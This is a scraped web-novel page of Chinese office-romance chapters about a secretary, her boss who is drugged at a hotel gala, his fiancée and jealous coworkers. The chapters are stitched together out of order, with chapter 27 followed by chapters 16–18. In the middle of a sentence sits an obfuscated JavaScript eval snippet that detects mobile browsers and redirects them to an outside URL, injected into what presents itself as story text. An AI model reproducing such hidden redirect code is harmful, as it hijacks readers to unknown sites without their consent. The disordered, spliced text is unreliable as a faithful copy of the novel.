事实证明,她没看错傅知尧这个人,仅仅用了两年的时间就让傅氏重新爆发辉煌,财务报表数字节节高升,却健康无比,庞大的现金流更是让郁瑾潼眼馋到恨不得干掉他直接上位。
但可惜,杀人犯法。
不过顾及郁瑾潼在他父母去世时的帮助,傅知尧还算念旧情,没有对外宣称两人解除婚约的事情,因此,郁家其余人对郁瑾潼十分看重。
这不,家宴到了,郁瑾潼就来找傅知尧例行吃这个饭,维系维系表面上的未婚夫妻关系。
傅知尧看了眼自己的行程表。
“可以,不过我待不了多久,顶多半小时。”
“你能来那群人就谢天谢地了,你就是出场十分钟,他们都会献给你最热烈的马屁。”
郁瑾潼喝了一口热茶,颇为讽刺地说。
尽管她名下的公司近几年发展前景不错,仍旧逃不过被那群老顽固的说三道四,要不是她有傅知尧这个名义上的未婚夫,恐怕早就被当作物品嫁出去了。
-【只是傅知尧也快三十了,还没有结婚的想法,我们两个的婚约光有个假名头也不是个事儿,要么……干脆说服他,结个婚领个证,当一对表面夫妻算了?】
这个念头冒出来的下一秒,郁瑾潼收到傅知尧凛冽如刀般的眼神,吓得她立刻缩回了脑子里的想法。
傅知尧可怕就在这一点,他似乎能一眼看穿她的内心,以至于郁瑾潼和他聊天时,心底总瘆得慌。
她迎上傅知尧的眼神,换了个委婉点的说辞:“傅总还没遇到喜欢的人?”
傅知尧:“……”
27. 第 27 章
午餐时间一到,虞晚便将老板办公室订好的双人份牛排送进去,放下双人份的薄荷漱口水和消毒纸巾,确认老板没其他事情要叮嘱,去行政部找赖言栩和孙柠吃午餐。
走到行政部时,门口已经围了一大圈人,好几个虞晚眼熟的实习生和正式员工,她们正在等人,时不时聊几句,气氛融洽欢乐。
有人瞧见虞晚的身影,用胳膊肘捅了捅旁边的人,“欸,那谁来了。”
“谁?噢,原来是干洗店店长女儿来了。”
人群中发出小声哄笑。
赵予书冷着脸将视线投向虞晚。
上身是缎面香槟色灯笼袖衬衫,下半身是黑色包臀及膝长裙,整个人匀称苗条,脊背纤薄,肤色白净,眼神平静明澈,像一株娉婷的菡萏,虽不够妖娆娇媚,却自有一股出尘的美感。
那身衣服不似先前那些没质感的地摊货,裁剪得当,线条简约,往那边一站,即便不开口,大家也知道这就是傅总的秘书。
两边人视线对上,有人主动开口恭喜她转正。
虞晚有些意外,她上午才签完转正合同,这么快就公示了吗?
她礼貌接受:“谢谢。”
正准备进办公室找赖言栩,就被人叫住。
“什么啊,就一句谢谢呀,我还以为你要请大家吃饭呢?”
虞晚转过头,认出说话的人,正是赵予书的朋友,陈念优。
她站在赵予书身边,笑吟吟地看着虞晚:“我听说总裁办秘书的工资是我们的三、四倍呢,这样天大的好事,不请客表示表示吗,我们好像从进公司开始就没聚过餐耶,刚好趁此机会庆祝一下,虞晚你觉得呢?”
虞晚觉得不好。
先不说转正的人必须请客这件事合理不合理,她和她们的关系似乎也没有好到请客吃饭的程度。
所以虞晚摇头。
见虞晚摇头,陈念优眼眸中露出一丝嘲讽的笑容,顷刻被她压下去,一脸震惊外加不理解地看着虞晚。
“虞晚……我记得你不是这样的人,就算你现在成了傅总秘书,也没必要瞧不起我们这些实习生吧,难不成他们说的那些都是真的,你真的是那样的人?”
赵予书帮忙解释:“虞晚应该不是那样的人,她现在毕竟是傅总的秘书,能当上秘书的人,必然有她的厉害之处。”
赵予书这话和火上浇油没什么区别,那群人看向虞晚的眼神变得耐人寻味起来。
语言霸凌在某种程度上比肢体霸凌更恐怖,被流言伤害的人即便日后摆脱,也会在某个瞬间忽然想起霸凌者的那些话语,一遍遍自我凌虐自我审视,最后逐渐封闭自我,不敢出门,不敢与人对视,不敢同人对话,步步滑落深渊。
虞晚不是圣人,做不到丝毫不芥蒂。
她定定看着陈念优,丝毫不理会赵予书,不急不缓张口:“陈念优,你不是还没转正吗,我怕没等你转正就请吃饭,你会以为我是在炫耀,所以,不好意思,我不想让你以为我是一个爱炫耀的人,你觉得呢?”
陈念优的脸色一瞬变得难看。
赖言栩在这个时候跑出来,拉起虞晚的手,将她带离修罗场,大大咧咧地嚷嚷道:“天,我要饿死了,工作终于处理完了,快,叫上孙柠,我们一起去吃饭!”
陈念优要说的话被打断,她不甘心地瞪了两人一眼,又寄希望于赵予书能帮她回怼。
赵予书温柔一笑,拍拍陈念优肩膀,“好啦,你想吃什么我请你,法国菜还是意大利菜?”
像是察觉到什么,虞晚离开前对上了宋楚楚的视线。
宋楚楚也正在看她。
比起先前,宋楚楚对她的态度明显冷了许多,见面的招呼不再打,最多朝她微微。
虞晚知道,她大概是在生气庆典那晚自己的谎言。
两人视线相交不过两秒,宋楚楚率先转开视线,再看过去,虞晚已经离开。
虞晚猜得不错,宋楚楚的确是对虞晚那晚的隐瞒有些不爽。
分明傅总不是喝醉酒,是被人下药,但在她询问需不需要帮忙时却被果断拒绝,让她对虞晚印象大打折扣。
难道她不值得被信任吗?难道最初进公司的时候她对虞晚的态度不够友善吗?
虞晚性格内向孤僻,如果不是她拉着虞晚同其他实习生一起吃饭,虞晚可能根本无法融入她们。
就算她对傅总有些喜欢,也不会趁人之危,虞晚的谎言让她觉得她的喜欢被人看破,让她觉得难堪。
一行人去了餐厅,端着餐盘坐下来没多久,开始讨论起傅总办公室留下来吃午餐的神秘美女。
“不是别人,也不是合作商,是傅总的未婚妻!”
“傅总的未婚妻长得真的很漂亮,我上午去送文件,刚好和她擦肩而过,还没看到人,就闻到她身上的香水味了,要不是不熟悉,我还想问问她用的什么香水。”
“我还是第一次知道傅总有未婚妻,私下找老员工问了问,傅总的未婚妻叫郁瑾潼,就是那个信远生物制药公司的总裁,傅总和未婚妻好像是娃娃亲,两人小时候就定下来了。”
“郎才女貌,傅总和郁小姐实在是配,从长相到能力都很匹配,不知道我们有没有机会吃到傅总的喜糖。”
……
陈念优瞧见心不在焉的赵予书,主动开口,意有所指:“有这么漂亮能干的未婚妻,唉,看来某些人的总裁夫人梦要落空咯。”
她说的是虞晚,但宋楚楚听到这话,下意识看向赵予书。
同样都是女性,她看得出来赵予书对傅总有意思,那种喜欢的强烈程度远远超过她,否则她不会针对虞晚——
将虞晚打印好的文件扔进粉碎机,将红酒泼到虞晚裙子上,还在群里发表一些针对虞晚的言论,引导大家对虞晚投向异样的眼神。
赵予书注意到她的目光,扯了扯嘴角,用只有两个人能听到的声音开口:“宋楚楚,你说,傅总分明有未婚妻为什么还会选虞晚当秘书呢,他就不怕别人造谣他和虞晚的关系吗?”
宋楚楚一时不知该说什么。
赵予书再次开口:“你也喜欢傅总吧,我看到你在周年庆典上偷拍他了哦。”
宋楚楚心头一惊。
晚上回到家,宋楚楚低落的心情一眼就被宋母捕捉,睡前,她给宋楚楚端来一杯热牛奶,摸摸自己女儿的头发,低声轻柔地问:“怎么了,是不是遇到什么困难了?”
宋楚楚抱着宋母,将脑袋埋在对方柔软的腹部,腻腻歪歪地喊她:“妈妈……”
宋母笑:“还和小孩子一样喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696149|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈妈,羞不羞。”
宋楚楚噘嘴,“跟我妈妈撒娇,哪里羞。”
“好好好,有什么烦恼就告诉妈妈,妈妈一定会帮你解决的。”
从小到大,宋楚楚听过最多的话大概就是这句,宋楚楚也一如既往相信这句话。
因为妈妈从没对她食言。
宋楚楚看着宋母,犹豫片刻开口:“妈妈,我好像喜欢上我们公司的老板,但他有未婚妻,我不知道要不要继续喜欢他。”
宋母眼眸微动,“那你们老板知道你吗?”
宋楚楚摇头。
“他不知道,他可能连我是哪个部门的都不清楚。”
“那你为什么会喜欢他呢?”
宋楚楚思考了一会儿,“就像一见钟情?他长得很好看,工作能力也很强,我觉得他很厉害,所以喜欢他。”
“有你的决风哥哥好看吗?”
宋楚楚脸噌地一下红了,佯装生气:“妈妈,你说什么呢。”
宋母并不气恼,她坐到女儿旁边,循循善诱:“楚楚,妈妈作为过来人,理解你对你们老板的喜欢,但是呢,我们需要考虑现实,你们老板不认识你,不了解你,你贸然接触只会被他反感,就算接触了也不会有好结果,这是纯粹的单向喜欢,这样的喜欢会让你开心吗?如果可以,妈妈不反对。但陆决风不一样,他在你爸爸当年公司落魄的时候伸出了援手,是个有良心懂得感恩的人,你和他差不多是青梅竹马长大,你了解他,他也了解你,你其实心底对他有意思,只是因为太熟悉,被你压抑在心底,你可以试着放下这种熟络和羞怯,仔细问问你自己,你到底喜欢的是谁?”
宋楚楚抿唇没说话。
宋母:“你说你们老板长得帅,我反倒觉得陆决风长得帅,一表人才,长得又高,身材和模特一样,不比那些明星差。”
宋楚楚有些犹豫:“但决风哥不是陆叔叔的亲儿子。”
这意味着,陆决风很有可能不会继承陆叔叔的遗产。
另一方面,虽然她和陆决风算得上青梅竹马,但决风哥待人处事始终温和有礼,宋楚楚在他身上找不到她是独特的这一点,她想要的是全心全意的,炙热浓烈的爱。
不过这样一想,似乎傅总也不太符合。
宋楚楚忽然有些迷茫。
宋母显然想到了陆家的情况,嘴角勾出一个冷冷的弧度,她语重心长:“楚楚,你什么时候看人眼光如此短浅了,就算陆决风现在是副总,但公司里大部分人都是站在他那边,看似是副总,却比陆屿森更有决策权,等到陆宗信那个老家伙卸任,整个屿风集团都要依仗陆决风,到那个时候陆决风可就是个人人都要抢的香饽饽,所以呀,楚楚,先下手为强。”
宋楚楚了解陆屿森那个家伙的不学无术,对比起来,决风哥简直是天上的神仙,从没说过嫌弃自己的哥哥。
决风哥性格温柔,长相俊朗,工作能力强,是宋楚楚梦中情人该有的样子。
但为什么在傅知尧出现后,她的心会不由自主跟着对方转呢。
真的太奇怪了。
宋楚楚拿起手机,当着宋母的面,给陆决风发了一条消息。
宋楚楚:【决风哥,我们好久没有一起吃饭了,你这周末有时间吗?我请你吃饭呀。】
16-20
第16章
说完,傅知尧彻底失去力气,双眼一闭,毫无顾忌地栽倒在虞晚身上,虞晚尾椎骨再次遭受重创。
她疼得龇牙咧嘴,但与此同时理智回笼,她反应过来,现在不是打急救电话的时候。
今天是星玥酒店三十周年庆典,来酒店的媒体记者不少,如果救护车抵达酒店,那些媒体就会跟苍蝇一样蜂拥而至,将老板被人下药的事情闹上热搜,这肯定不是老板想要的。
但老板这种情况,虞晚必须将他送去医院。
想清楚该干什么后,虞晚小小身躯爆发出无穷力量,硬生生将傅知尧这个大块头从地上扶起来。
傅知尧没什么反应,痛苦地紧闭双眼,结实的身体重量朝着虞晚压来,虞晚踉跄了几下勉强站稳,整个脑袋夹在傅知尧胳膊底下,靠铁头功支撑。
带着傅知尧转过身,虞晚看到不远处站着的宋楚楚。
她穿着一身莹白色长裙,黑色长发半挽,露出清秀漂亮的脸蛋,她表情带着无措和困惑,小心翼翼喊着虞晚的名字:“虞晚……,傅总他是怎么了?需要帮忙吗?”
虞晚现在已经没心思去管所谓小说剧情,也不想追问为什么宋楚楚会出现在宴会厅上一层楼道内。
她看向宋楚楚,话语坚决:“的确有事情要麻烦你,你去大厅内找总裁办的蔡秘书,又或者你们行政部的董总监,告知他们傅总喝醉了酒,庆典结束时没办法上台讲话,看能不能找公司其他的董事顶上,我这边会将老板送去休息室,你可以吗?”
宋楚楚视线停留在傅知尧身上。
他微垂着脑袋,加上走廊光线并不明亮,看不清楚傅知尧的表情,但两侧脸颊明显发红,额间冒着细密的汗珠,有点像是喝醉,又不太像,让她觉得困惑。
“宋楚楚。”虞晚重复喊了一遍宋楚楚的名字,将她的思绪拉回来:“我刚刚说的,你可以做到吗?”
宋楚楚回神:“啊好的,没问题,但是你力气够吗?需不需要我帮忙?”
虞晚摇头,“不需要,你下楼去找蔡秘书就好,麻烦你了。”
虞晚扶着傅知尧转身离开,宋楚楚却迟迟没有动,直到虞晚和傅知尧身影消失在她视线内。
她其实不明白为什么自己会到宴会厅的上一层来,但冥冥之中似乎有人指引她过来。
所以,她来了。
看到的除了傅知尧,还有另一个她意想不到的人,虞晚。
就在宋楚楚准备回去找董总监的下一秒,瞧见一张熟悉的面孔,她快步走近,惊喜地对男人说道:“决风哥!你怎么在这儿?”
高大的男人面容从阴影处显现,俊美斯文的脸暴露在灯光下,他看向宋楚楚,脸上挂起温和绅士的笑容。
“和你一样,你来干什么,我就来干什么。”
“决风哥你还是这么爱开玩笑,不过我好像走错了楼层,宴会厅在五楼,我在六楼,我们一起下去吧。”
男人没有拒绝,同宋楚楚一起进了最近的电梯,电梯门缓缓合上,隔绝了男人阴沉的眸色。
虞晚带着傅知尧进入员工通道电梯,在电梯内给司机老武打了个电话,确认武师傅在停车场,让他拿上口罩和帽子过来接应傅知尧。
老武来得很快,看到傅知尧的样子,神色慌张起来,“虞秘书,傅总这是……?”
虞晚从老武手中接过干净的口罩和帽子,利落将其戴到傅知尧脸上,遮住他锋利的下颚线和深邃的眉眼,确认拍不到老板的脸,将另一个口罩给自己戴上。
虞晚说:“武叔,先上车,上车了再说。”
老武明白这里不是说话的地方,警惕地打量一圈周围:“好,我扶着傅总先走,虞秘书你注意周围有没有扛着摄像机的狗仔。”
“嗯,武叔您扶着傅总当心点前面的路。”
虞晚走在两人身后,时刻注意附近情况,大概是举行宴会的缘故,停车场内人并不多,加上星玥酒店安保到位,没有狗仔突然冲上来拍摄,三人顺利上了车。
虞晚终于松口气,一面给傅知尧系安全带,一面同老武解释:“傅总喝的酒里被人下药了,我们现在要送傅总去医院,武叔您车速能不能快点。”
老武跟在傅总身边工作了将近十年,工作忠心、认真负责,平日里也不喝酒,可以说老武是傅知尧的心腹重臣。
因此,虞晚没有隐瞒傅知尧身上发生的事情。
老武心底一惊,手中动作没停,利索拧动车钥匙出发:“好,虞秘书,你照看好傅总,我们现在就走。”
“嗯。”
车子驶出地下停车场,虞晚拿出手机给蔡秘书打电话。
方才对宋楚楚说的话,一部分是出于保护老板隐私的谎言,既然老板明确说了要去医院,很难说清宋楚楚参与进帮忙会不会节外生枝,虞晚不敢赌概率,另一部分则是真心麻烦宋楚楚知会蔡秘书,以免蔡秘书发现老板消失而多想。
也是在这个时候,虞晚忽然想起老板在晕过去前说的那句话:你有事情瞒着我。
她的确有事情瞒着老板,但穿进小说世界这件事情太玄幻,老板会相信吗?
思考的间隙,手机接通,虞晚回神,告知蔡秘书老板现在的情况。
虞晚问他:“蔡秘书,武叔正在开车去老板日常就诊的那家私人医院,后续有事情我会给你打电话,那我们需不需要告知老板的家人?”
虞晚知道傅知尧父母车祸去世,家里目前只有奶奶和妹妹两位亲人在,但老板出了事,照理说应该联系老板家人来医院。
“不用,虞晚,武叔知道从哪条路去医院最隐蔽,你听他的就好,庆典这边我和尚秘书会处理,等我赶去医院,再让武叔送你回学校,这期间麻烦就你照顾老板了。”
虞晚:“蔡秘书,你放心,我知道。”
蔡秘书那边稍稍停顿两秒,又道:“虞晚,老板的家庭背景你应该多少有所了解,他不愿意让家里人担心,等老板醒来,他自有判断。”
挂断电话,虞晚视线投向一旁的傅知尧。
傅知尧闭着眼,眉心紧蹙,额间密密麻麻都是渗出来的汗珠,鬓间黑发被打湿,贴在太阳穴两侧,脸色红润异常,但嘴唇泛着隐忍的苍白,因为药效发作,漆黑的眼睫止不住地轻颤,像是脆弱的蝶翼,似乎下一秒就要陨灭。
是和平日里冷面魔王不同的另一面。
虞晚拿了条干净的毛巾,倒了些矿泉水在上面,侧身给傅知尧擦去额头上的汗珠。
矿泉水在冰箱内冻过,几乎是刚碰到傅知尧额头的一瞬,他就敏锐地察觉。
‘啪’的一声。
宽大滚烫的手掌牢牢捏住虞晚削瘦手腕,阻止了她的进一步动作。
傅知尧深邃漆黑的眼睁开,看清是虞晚,缓缓松了手,
张嘴,嗓音哑得不像话:“……你想干什么?”
虞晚被吓一跳,有些紧张,说:“老板,你额头上都是汗,我想着用冰矿泉水打湿毛巾给您擦一擦,这样你会不会好受一些。”
傅知尧再次合上眼,喉间轻轻应了一声,虞晚小心将毛巾擦过傅知尧的额头和脸颊,冰水擦过的地方皮肤迅速降温,但不消片刻,又迅速升温,聊胜于无,虞晚擦得仔细,注意到傅知尧靠着不舒服,往他背后放了一个小靠枕。
期间傅知尧睁开眼,只看到虞晚认真的浸湿毛巾的侧脸,他转过脸,努力想要分散自己的注意力,但视线却不由自主偏向虞晚,车窗外霓虹灯影掠过少女的面容,宁静得像是一潭春水。
到了医院,和虞晚想象中的排队挂号、排队缴费、排队看病、排队检查的繁琐流程不同,傅知尧直接被人推着进了高级病房,病房是个小套间,客厅、洗手间和厨房一应俱全,比小型公寓装修还要整洁漂亮。
傅知尧甚至不必移动,躺在舒适柔软的床上,抽血、化验一条龙贴心服务,最后周医生给他注射了一针有镇定效果的药剂,傅知尧紧绷的表情逐渐松开,似是沉入梦乡。
留下老武在病房内照看傅知尧,虞晚跟着周医生去办公室了解详细情况,将周医生的叮嘱牢牢记在手机备忘录上。
等蔡秘书赶来医院,虞晚已经在脑海内理清事情的来龙去脉,一一同蔡秘书交待。
蔡秘书沉吟:“也就是老板在喝下那杯下了药的酒时你并不在他身边,不知道是谁给他下的药。”
虞晚点头,有些内疚:“都是我的问题,要是我当时一直陪在老板身边也不会这样。”
而且,如果不是赵予书将红酒泼到了她裙子上,她也不会去上一层楼的洗手间,如果不去洗手间,自然就碰不上老板。
那么,和原小说一样,老板会和女主宋楚楚遇上……
但,这是老板所希望的吗?
虞晚可以确信不是。
因为老板见到她说的第一句话是送他去医院,如果他想要和人发生关系,何必说这样的一句话,在药物作用下理智燃烧殆尽,还会注意面前的人是谁?还会克制自己情感的宣泄吗?
正是今晚发生的事情,让虞晚意识到,小说剧情并非是固定的,从进入这个世界开始,她就不能以一种旁观者的身份自以为是地看其他人,大家都是活生生的人,不是被剧情操控的人偶。
蔡秘书:“话不是这么说,谁都不想发生这样的事情,自责没什么用,不过你今晚紧急处理方式很不错,知道联系老武和我,也知道避开媒体和记者从员工通道离开,比我刚入职还要厉害。”
虞晚知道蔡秘书是在安慰她,努力扯了个微笑。
蔡秘书拍拍虞晚肩膀,“好了,时间也不早了,让老武送你回学校,这边有我在,你就别担心了,到学校了记得给我发个消息报平安。”
虞晚点头,“嗯,麻烦蔡秘书了。”
她毕竟是女性,留下来照顾老板传出去也不好听,将注意事项传送一份给蔡秘书,坐上老武的车回了学校。
第17章
到宿舍时已经快十一点,毛新灵洗漱完,正躺在床上看剧。
听到动静,从床帘中探出一个脑袋,看到是虞晚,松口气。
“吓死我了,你今天怎么回来这么晚,给你发消息你也没回,要是过了十二点你还没回寝室,我可就要打报警电话了。”
虞晚将挎包放在桌上,这挎包是蔡秘书从酒店储物柜里帮她取来的,里面装着她的笔记本和电脑。
她道:“晚上是酒店周年庆典,要忙的事情比较多,没来得及看手机,不过谢谢你呀新灵。”
毛新灵没在意这些,挥挥手:“好了好了,感谢的话我都要听腻了,快去洗澡,过了十二点水就不热了。”
“好。”
虞晚给蔡秘书报了个平安,放下手机去浴室洗漱。
洗漱完,虞晚擦了点大宝保湿乳上床,对床的毛新灵还在看剧,不过她戴着耳机,什么声音都没传出来。
虞晚翻了个身,闭上眼,脑海中不自觉浮现今日发生的事情,小说剧情和现实不断交迭,像是轰隆隆运行的火车,让她无法安稳入睡。
翌日不到五点半虞晚就睁开了眼。
今天是周六,按理说虞晚不需要上班,但心里揣着事,虞晚也没办法再入睡,干脆翻身起床,下床梯的时候尾椎骨那块隐隐作痛。
虞晚揉了揉,没忍住想,因为扶老板摔到尾椎骨不知道能不能申请工伤补贴。
室友毛新灵还在睡梦中,虞晚蹑手蹑脚刷牙洗脸,借着晨光收拾好昨晚穿的粉色长裙,准备送去干洗店。
反正赵予书说她会出干洗费,虞晚才不会故作矜持说不需要。
将裙子交给洗衣店的老板,说明需要重点清洗的地方,虞晚付过钱,接过发票,顺手拍照发给赵予书。
吃过早餐,虞晚坐地铁去了一家知名茶楼,排队给傅知尧买了一份粥,随后坐着公交车抵达昨晚的私人医院。
虞晚向前台护士展示了自己的工牌,护士认出虞晚,主动开口说傅知尧昨晚情况稳定,今天就能出院,让她不必太担心。
虞晚谢过她,登记好姓名,得以进入病房区。
抬手敲了敲门,没人回应,虞晚有些担心老板出什么意外,按下门把手,“老板?你没事吧,我进房间了……”
虞晚走进去,并没有在床上看见傅知尧,正准备出门找人询问,卫生间门被忽然推开。
砰的一声响,唤回了虞晚的脚步。
傅知尧穿着蓝白条纹的病服,扶着卫生间门框,不紧不慢掀眼看她。
看到老板没事,虞晚放下心,喊了他一声:“老板。”
傅知尧从卫生间走出来,坐到病床上,扯了张纸擦手,他刚洗漱完,脸上还沾着几颗水珠,面容颇有些疲惫,皮肤比往日更为苍白,眼下黑青色眼圈明显。
看样子,昨晚睡得并不好。
“今天不是周六?”傅知尧张口,嗓音有些沙哑。
言下之意,虞晚不需要来看他。
虞晚举起手中的粥,“老板,我怕你肚子饿,给您带了早餐,是聚德楼的瑶柱青菜粥,里面还加了虾仁。”
傅知尧闲暇时经常上门去吃聚德楼的早茶,虞晚知道他的偏好,又担心打包外带会损失其他早点的口感,外加老板身体不适,虞晚只买了一份粥。
傅知尧动作一顿,注意到她手里拎着的粥,原本要说的话卡在喉咙,傅知尧问她:“吃早饭了吗?”
“吃了。”
“昨晚怎么回去的?”
“蔡秘书到了医院后,让武叔送我回去的。”
虞晚一边回答一边震惊,这算是老板对她的关心吧,怎么一夜过去,老板就突然像个人了呢。
变得更有人情味了。
“嗯,放着吧,我喝点水再吃。”
傅知尧其实早就饿了,昨晚宴会上他根本没吃饱,不等他回家加餐进了医院,一大早就被饿醒,原本想忍着饥饿继续睡觉,但护士六点不到就敲门进来给他抽血化验,一番折腾下来,让他彻底没了睡意。
只是医院饭菜不符合他胃口,原本他打算让周瞿洋上班时带一份,不过现在看来,完全不需要。
小秘书工作还是到位的。
得到大魔王指令,虞晚当即将床边的移动桌板拉起来,在傅知尧躺上床后调整床位高度,确认高度合适后往傅知尧身后塞了个枕头做支撑。
傅知尧靠在枕头上,看虞晚忙忙碌碌拆开保温袋,将打包盒拿出来,打开盖子,摆好调羹、筷子,一旁放上熟悉的薄荷漱口水和消毒纸巾。
做完这一切,小秘书又贴心倒来热水。
傅知尧将手背贴到杯子上,温热的,他挑了下眉,拿起水杯喝了几口,这才开始吃粥。
虞晚站在一旁看傅知尧吃粥,思绪一
时飘得有些远。
刚来医院的路上,她借着地铁里的免费wifi刷了会儿手机,自然看到了热搜上有关老板的新闻。
娱乐新闻号口吻夸张,说什么傅氏集团总裁被人下药,送往医院时不省人事,疑似商场树敌太多。
好在虞晚给傅知尧戴了帽子和口罩,并且是让老武扶着傅知尧上的车。
因此,那些狗仔拍摄到的照片里看不清傅知尧的正脸,不过糟糕的是,那些狗仔将她给拍了进去。
以至于评论下有不少人揣摩她的身份:傅总身边不干正事的女秘书、和傅总缠绵悱恻的地下情人、更有甚者说她是傅总那个被捧在手心里长大的亲妹妹。
虞晚:“……”
她能有什么身份?她还想要有什么身份?
她不过是在老板住院后还要来看望老板的,努力想要留在总裁办的,平平无奇的,打工人罢了。
聚德楼的青菜瑶柱粥花了她整整一百零八块大洋!
她吃过最贵的粥不过才十二块!
如果这就是来看望老板的代价,虞晚想,她得接受,毕竟,老板前几天给她购置了那么多的衣服,还请她吃了一碗牛肉面。
于情于理,她也不能太抠。
让老板报销粥的想法还是想想就好。
低头看了眼手机上的时间,八点零六分,这个点大爷大妈们已经吃完早餐在公园散步,她要过去逛逛,看能不能碰碰运气,找到合适的房子,房东直租,肯定能省下来一些钱。
正准备同老板告退,就听到老板问她:“你刚刚一直在看我,你在想什么?”
虞晚眼神一顿:“……”
这可以说吗?
傅知尧漫不经心撩眼看她,一双眸子漆黑,眼型狭长深邃,眼尾上扬,透着明晃晃的威胁,像是在无声警告她,撒谎他能看出来。
虞晚沉默半晌,引颈受戮般开口:“……老板,这份粥108块,能报销吗?”
傅知尧:“……”
傅知尧彻底打消了虞晚是个商业间谍的怀疑,也彻底打消了虞晚能听懂他心声的怀疑。
一个傻子,一个在得知自己入职总裁办就傻愣愣问他工资,一个浑身上下穿着价格不超过300元,一个愚蠢又真诚问出108块粥能不能报销的人,只可能是个穷光蛋。
意识到自己说得过于直白,虞晚赶在傅知尧嘲讽自己前急忙解释,“老板我不是这个意思,我没打算问您要报销费用,粥是我自愿带来的,您上周请我吃牛肉面,还报销了高额的服装购置费,这已经能买好多份粥了,我要是再问您要粥的钱,就真的是白眼狼了……”
虞晚声音越说越低,在傅知尧射来的锐利视线中把剩余的话说完:“您毕竟昨晚被下药,我有些担心您,就过来看看您……粥是我的心意,您觉得合乎您口味吗?”
傅知尧:“……”
瞥一眼心虚惊惶的虞晚,傅知尧低头喝了一口粥。
粥还是温热烫口的,大米炖煮得香糯软烂,蔬菜的清甜和虾肉的弹滑交织,一口粥入肚,抚慰他空寂一整晚的饥饿。
能在周末休息的时候还挂记着他,排长队买粥过来看望他,这份心意已经足够了。
算了,原谅小秘书没头没脑的话。
他难得没回怼,慢悠悠说了句:“虞秘书,我可是个病人。”
虞晚:“……”
“对不起老板,”虞晚光速道歉,在老板皱起眉的下一瞬开口,转移话题:“老板,护士那边说您今天就能出院,需要我留下来陪您吗?”
傅知尧眉头皱得更深。
当他三岁小孩需要人陪?
“不需要。”
直截了当的拒绝。
“好的。”
毫不犹豫的应答。
虞晚知道老板不需要,她关心老板完全是因为这在她的秘书职责范围内,老板是她的顶头上司,不管是出于什么目的,她都要来看看。
一个好的秘书,既要做到对工作认真负责,理性处理问题,也要和老板、同事打好交道,构建良好的人际关系网,让老板信任她,认可她,这样才能将重要任务交给她。
虽然这些话都文绉绉的,但要落实可不容易,虞晚始终牢记在脑子里。
知道老板不需要她陪,在提出告辞前,虞晚简要汇报了昨晚发生的事情和今日的热搜,让老板心里有个大概的了解。
“……因为戴了口罩和帽子,狗仔们没有拍摄到老板您的正脸,此外,大部分网友都觉得老板您是遭受了无妄之灾,谴责下药者的更多。而有关庆典的事情可能要蔡秘书来和您汇报,我知道的并不全面。”
说完,虞晚安静等待老板的回复。
傅知尧放下手中的调羹,表情淡到有些冷,恢复了一如既往的大魔王形象。
“两个问题,第一,你为什么会出现在六楼?第二,你怎么知道给我下药的人将药下到了我的酒杯里。”
第18章
虞晚心头一惊。
前一个问题好回答,后一个问题她该怎么说?
八卦新闻里难道没有写药是被下在红酒里的吗?
虞晚皱起眉头仔细回想,一时没来得及回答傅知尧的问题。
傅知尧不耐烦敲了敲桌板,眸光寒厉如冰:“虞晚,说实话。”
虞晚不敢说实话。
她难道要说自己是因为看过小说剧情梗概才知道的吗?说出来傅知尧不得把她当疯子?可董总监和林秘书都反复强调过不要在老板面前撒谎。
半晌,虞晚开口:“宴会厅里我的裙子被人泼了红酒,因为不想和那人碰上,我去了上一层楼的洗手间,在走廊遇见您,至于下药的红酒,我是随便猜的,一般粉末类药物都是溶于水,放到食物里您未必会吃。”
傅知尧视线仍停在虞晚身上,虞晚微垂着眼,没有看他。
她心里有些虚,但仔细想想,她分明也是受害者,没有问老板要工伤补贴和加班费就不错了,下药的事情又不是她做的,她何必心虚。
于是鼓足勇气抬起头看傅知尧。
四目相接,打了傅知尧一个措不及防。
虞晚的眼睛很独特,双眼皮褶皱清晰,眼型偏圆润,眼尾下收,睫毛浓密细长,眼珠漆黑亮泽,转动时透着点不易察觉的小狡黠,不动的时候又有些呆。
此刻,直勾勾盯着他看的时候显得尤其无辜,让傅知尧一时不知道说什么好。
早在虞晚来之前,傅知尧就查看过蔡秘书发来的监控视频,自然知道虞晚不是故意上楼和他偶遇,之所以这样问,不过是为了诈一诈虞晚。
诈一诈虞晚会不会对他有所隐瞒,估一估让虞晚留在总裁办的决定到底对不对。
虞晚忐忑盯着傅知尧,不知是不是她的错觉,傅知尧凛冽的五官似乎在某个一瞬间柔和下来。
男人垂眸,搅了搅碗里的热粥,如长辈般话起家常:“今天周六,虞秘书待会儿准备做什么?”
虞秘书:“……”
直到从病房离开,虞晚还是想不明白傅知尧态度转变的原因,简直像变色龙,让她摸不清头脑,不过想想大老板的个性,又觉得正常。
刚走没几步,虞晚在走廊上撞见昨晚给傅知尧打镇定药剂的医生周瞿洋,男人穿着一身白大褂,长相俊朗,气质温文尔雅。
武叔昨晚提过,说周医生是傅总的好朋友,但光看外形和气质,两人一个像残暴大灰狼,一个像优雅白天鹅。
“周医生好。”虞晚同他打招呼。
周瞿洋或许有些社恐,不怎么和她说话,就连眼神对视都少,他点点头,“你好,我来看傅知尧。”
“好,麻烦周医生了。”虞晚礼貌侧身。
周瞿洋点头,没多说,推开病房门走进去。
傅知尧已经将粥吃了大半,周瞿洋看了眼放在一旁桌子上的打包盒,是傅知尧喜欢的那家茶楼,顺手拿起桌上的小票,点的是瑶柱青菜粥,不在傅知尧的忌口范围。
周瞿洋给傅知尧量过体温,确认正常,又问傅知尧:“今天有没有不舒服?”
傅知尧吃着粥,懒懒回答他:“还行,就是醒来的时候有些晕。”
“嗯,药物成分比较复杂,新陈代谢再强也会感觉不舒服,今早六
点护士来抽过血,等结果出来,如果没问题就可以出院了。”
周瞿洋知道傅知尧是个工作狂,并不拦他,作为医生,只要病人身体无恙就好。
傅知尧:“行,多谢了。”
周瞿洋:“不客气,难得有我能帮上忙的时候。”
比起傅知尧为他家做的,他做的其实并不多。
傅知尧朝他挑眉露出一个笑。
